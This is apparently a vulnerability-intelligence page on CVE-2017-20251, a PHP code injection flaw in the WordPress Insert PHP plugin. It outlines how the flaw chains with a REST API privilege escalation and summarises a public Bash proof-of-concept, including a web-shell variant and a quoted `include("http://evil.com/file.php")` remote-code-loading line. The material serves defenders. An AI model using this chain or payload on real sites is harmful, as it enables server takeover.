CVE-2017-20251 is a PHP code injection vulnerability affecting the WordPress Insert PHP plugin before version 3.3.1. In vulnerable deployments, the plugin executes PHP embedded in shortcode content server-side. When combined with the WordPress core REST API privilege escalation present in WordPress 4.7.0 and 4.7.1, an unauthenticated attacker can modify post content through the posts REST endpoint and inject malicious Insert PHP shortcodes. When the altered post is rendered, WordPress processes the shortcode and the plugin executes attacker-supplied PHP, resulting in remote code execution on the server. The issue is therefore an attack chain that depends on both the vulnerable plugin behavior and the vulnerable WordPress core REST API exposure.
Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.
What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.
What an attacker gets, and what they’ve been doing with it.
If you can’t patch tonight, do this now.
Patch, then assume compromise.
1 valid exploit after Mallory filtered fakes, detection scripts, and README-only repos.
This repository is a small standalone exploit PoC for CVE-2017-20251 affecting the WordPress Insert PHP plugin (now Woody Code Snippets) before 3.3.1. The repository contains three files: a Bash exploit script, a README with technical analysis and usage examples, and a license file. The main exploit logic is entirely in `CVE-2017-20251_PoC.sh`. The exploit script targets a WordPress site at `https://yorbit7.ddev.site` and uses the WordPress REST API endpoint `/wp-json/wp/v2/posts` to create a published post containing a malicious `[insert_php]...[/insert_php]` shortcode. Because the vulnerable plugin evaluates shortcode contents with `eval()`, rendering the post via `/?p=<post_id>` causes arbitrary PHP execution on the server. The included payload writes `/var/www/html/cve201720251_poc.txt` with a success marker, then the script verifies execution using `ddev exec` and removes the file. This makes the PoC operational rather than purely demonstrative, though the payload is fixed and simple. Capabilities demonstrated by the repository include authenticated remote exploitation of the vulnerable plugin, arbitrary PHP execution in the web server context, file write to the web root, and basic post-exploitation verification/cleanup. The README further documents more dangerous payload variants, including dropping a PHP web shell at `/var/www/html/shell.php` and using `include("http://evil.com/file.php")` as an example of remote code loading. It also explains that older WordPress versions (< 4.7) may permit unauthenticated exploitation paths through the REST API, though the provided script itself uses authenticated access. Overall, this is a real exploit repository, not a detector or fake sample. It is a concise Bash-based PoC intended to validate RCE in a lab environment, especially a DDEV-hosted WordPress instance, and to illustrate the vulnerable shortcode-to-eval execution path in the affected plugin.
Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.
Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.
4 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A PHP code injection vulnerability in the WordPress Insert PHP plugin before version 3.3.1 that allows unauthenticated remote code execution via crafted shortcodes sent through the WordPress REST API.
A critical unauthenticated remote code execution chain affecting the WordPress Insert PHP plugin when used with vulnerable WordPress core versions 4.7.0 or 4.7.1, combining REST API privilege escalation with shortcode-based PHP execution.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.